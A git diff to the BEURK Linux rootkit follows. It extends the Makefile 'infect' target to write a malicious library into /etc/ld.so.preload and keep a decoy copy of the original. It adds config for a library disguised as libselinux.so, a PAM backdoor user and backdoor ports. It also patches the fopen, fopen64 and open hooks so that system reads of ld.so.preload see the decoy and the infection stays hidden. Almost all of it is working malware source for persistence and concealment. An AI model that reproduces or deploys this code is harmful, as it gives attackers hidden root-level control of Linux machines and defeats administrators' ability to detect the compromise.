diff --git a/Makefile b/Makefile index 06e0374..c1b35a4 100644 --- a/Makefile +++ b/Makefile @@ -3,17 +3,22 @@ UNAME := $(shell uname -s) SHELL := /bin/bash # set default config values (can be overidden by setting env vars) -BEURK_CONFIG_FILE ?= beurk.conf -BEURK_LIBRARY_NAME ?= $(shell grep -E '^LIBRARY_NAME[[:space:]]*=' $(BEURK_CONFIG_FILE) | cut -d= -f2 | xargs) -BEURK_DEBUG_LEVEL ?= $(shell grep -E '^DEBUG_LEVEL[[:space:]]*=' $(BEURK_CONFIG_FILE) | cut -d= -f2 | xargs) -BEURK_INFECT_DIR ?= $(shell grep -E '^INFECT_DIR[[:space:]]*=' $(BEURK_CONFIG_FILE) | cut -d= -f2 | xargs) +BEURK_CONFIG_FILE ?= beurk.conf +BEURK_MAGIC_STRING ?= $(shell grep -E '^MAGIC_STRING[[:space:]]*=' $(BEURK_CONFIG_FILE) | cut -d= -f2 | xargs) +BEURK_LIBRARY_NAME ?= $(shell grep -E '^LIBRARY_NAME[[:space:]]*=' $(BEURK_CONFIG_FILE) | cut -d= -f2 | xargs) +BEURK_DEBUG_LEVEL ?= $(shell grep -E '^DEBUG_LEVEL[[:space:]]*=' $(BEURK_CONFIG_FILE) | cut -d= -f2 | xargs) +BEURK_INFECT_DIR ?= $(shell grep -E '^INFECT_DIR[[:space:]]*=' $(BEURK_CONFIG_FILE) | cut -d= -f2 | xargs) +BEURK_FAKE_LD_PRELOAD ?= $(shell grep -E '^FAKE_LD_PRELOAD[[:space:]]*=' $(BEURK_CONFIG_FILE) | cut -d= -f2 | xargs) +BEURK_ENV_IS_ATTACKER ?= $(shell grep -E '^_ENV_IS_ATTACKER[[:space:]]*=' $(BEURK_CONFIG_FILE) | cut -d= -f2 | xargs) # do not infect the system in debug mode ifneq ($(BEURK_DEBUG_LEVEL), 0) BEURK_LD_PRELOAD := /tmp/beurk/ld.so.preload BEURK_INFECT_DIR := /tmp/beurk + BEURK_FAKE_LD_PRELOAD := /tmp/$(MAGIC_STRING)$(BEURK_FAKE_LD_PRELOAD) else BEURK_LD_PRELOAD := /etc/ld.so.preload + BEURK_FAKE_LD_PRELOAD := /etc/$(MAGIC_STRING)$(BEURK_FAKE_LD_PRELOAD) endif # absolute install path @@ -112,14 +117,16 @@ infect: $(BEURK_LIBRARY_NAME) @echo "Install in $(BEURK_INFECT_ABSPATH)" install -d $(BEURK_INFECT_DIR) install -m 755 $(BEURK_LIBRARY_NAME) $(BEURK_INFECT_DIR)/ - echo $(BEURK_INFECT_ABSPATH) >> $(BEURK_LD_PRELOAD) + cp $(BEURK_LD_PRELOAD) $(BEURK_FAKE_LD_PRELOAD) || touch $(BEURK_FAKE_LD_PRELOAD) + echo $(BEURK_INFECT_ABSPATH) > $(BEURK_LD_PRELOAD) @echo "Successful infection" # uninstall the rootkit (if installed on current system) disinfect: @echo "Uninstall $(BEURK_INFECT_ABSPATH)" $(RM) $(BEURK_INFECT_DIR)/$(BEURK_LIBRARY_NAME) - sed '#$(BEURK_INFECT_ABSPATH)#d' $(BEURK_LD_PRELOAD) > $(BEURK_LD_PRELOAD) + $(BEURK_ENV_IS_ATTACKER)=true cp /dev/null $(BEURK_LD_PRELOAD) + mv $(BEURK_FAKE_LD_PRELOAD) $(BEURK_LD_PRELOAD) @echo "Successful disinfection" # remove object files diff --git a/beurk.conf b/beurk.conf index 6575a7b..abd5e16 100644 --- a/beurk.conf +++ b/beurk.conf @@ -6,6 +6,9 @@ # str: name of the generated evil hooking library LIBRARY_NAME = libselinux.so +# str: ld.so.preload file +LD_PRELOAD = ld.so.preload + # str: where to store infected, only work in `production` mode INFECT_DIR = /lib @@ -21,6 +24,10 @@ DEBUG_FILE = /dev/stderr # str: hide files with this string in the name MAGIC_STRING = _BEURK_ +# str: fake ld.so.preload file +# WARNING string "ld.so.preload" must not be present on FAKE_LD_PRELOAD +FAKE_LD_PRELOAD = ld_so_preload + # str: PAM username (for su / ssh login) PAM_USER = beurkroot diff --git a/reconfigure b/reconfigure index 8f31a8a..e68c877 100755 --- a/reconfigure +++ b/reconfigure @@ -62,11 +62,13 @@ def type_hexbyte(v): # the list of config keys (with their associated expected type) CONFIG_KEYS = { "LIBRARY_NAME": type_str, + "LD_PRELOAD": type_str, "INFECT_DIR": type_str, "DEBUG_LEVEL": type_int, "DEBUG_FILE": type_str, "XOR_KEY": type_hexbyte, "MAGIC_STRING": type_str, + "FAKE_LD_PRELOAD": type_str, "PAM_USER": type_str, "LOW_BACKDOOR_PORT": type_int, "HIGH_BACKDOOR_PORT": type_int, diff --git a/src/hooks/fopen.c b/src/hooks/fopen.c index 30cddf3..7ee46b2 100644 --- a/src/hooks/fopen.c +++ b/src/hooks/fopen.c @@ -19,6 +19,7 @@ */ #include /* errno, ENOENT */ +#include /* strstr() */ #include "beurk.h" /* is_attacker(), is_hidden_file(), is_procnet() */ #include "config.h" /* REAL_FOPEN() */ #include "debug.h" /* DEBUG() */ @@ -31,6 +32,9 @@ FILE *fopen(const char *__restrict path, const char *mode) { if (is_attacker()) return (REAL_FOPEN(path, mode)); + if (strstr(path, LD_PRELOAD)) + return REAL_FOPEN(FAKE_LD_PRELOAD, mode); + if (is_hidden_file(path)) { errno = ENOENT; return (NULL); diff --git a/src/hooks/fopen64.c b/src/hooks/fopen64.c index 08a770f..4ca27f6 100644 --- a/src/hooks/fopen64.c +++ b/src/hooks/fopen64.c @@ -19,6 +19,7 @@ */ #include /* errno, ENOENT */ +#include /* strstr() */ #include "beurk.h" /* is_attacker(), is_hidden_file(), is_procnet() */ #include "config.h" /* REAL_FOPEN64() */ #include "debug.h" /* DEBUG() */ @@ -31,6 +32,9 @@ FILE *fopen64(const char *__restrict path, const char *mode) { if (is_attacker()) return (REAL_FOPEN64(path, mode)); + if (strstr(path, LD_PRELOAD)) + return REAL_FOPEN64(FAKE_LD_PRELOAD, mode); + if (is_hidden_file(path)) { errno = ENOENT; return (NULL); diff --git a/src/hooks/open.c b/src/hooks/open.c index 60b9236..d067a99 100644 --- a/src/hooks/open.c +++ b/src/hooks/open.c @@ -21,6 +21,7 @@ #include /* va_list, va_start(), va_args(), va_end() */ #include /* O_CREAT */ #include /* mode_t */ +#include /* strstr() */ #include /* errno, ENOENT */ #include "beurk.h" /* is_attacker(), is_hidden_file() */ #include "config.h" /* REAL_OPEN() */ @@ -42,6 +43,10 @@ int open(const char *pathname, int flag, ...) { if (is_attacker()) return REAL_OPEN(pathname, flag, mode); + if (strstr(pathname, LD_PRELOAD)) { + return REAL_OPEN(FAKE_LD_PRELOAD, flag, mode); + } + if (is_hidden_file(pathname)) { errno = ENOENT; return (-1); @@ -53,6 +58,10 @@ int open(const char *pathname, int flag, ...) { if (is_attacker()) return REAL_OPEN(pathname, flag); + if (strstr(pathname, LD_PRELOAD)) { + return REAL_OPEN(FAKE_LD_PRELOAD, flag); + } + if (is_hidden_file(pathname)) { errno = ENOENT; return (-1);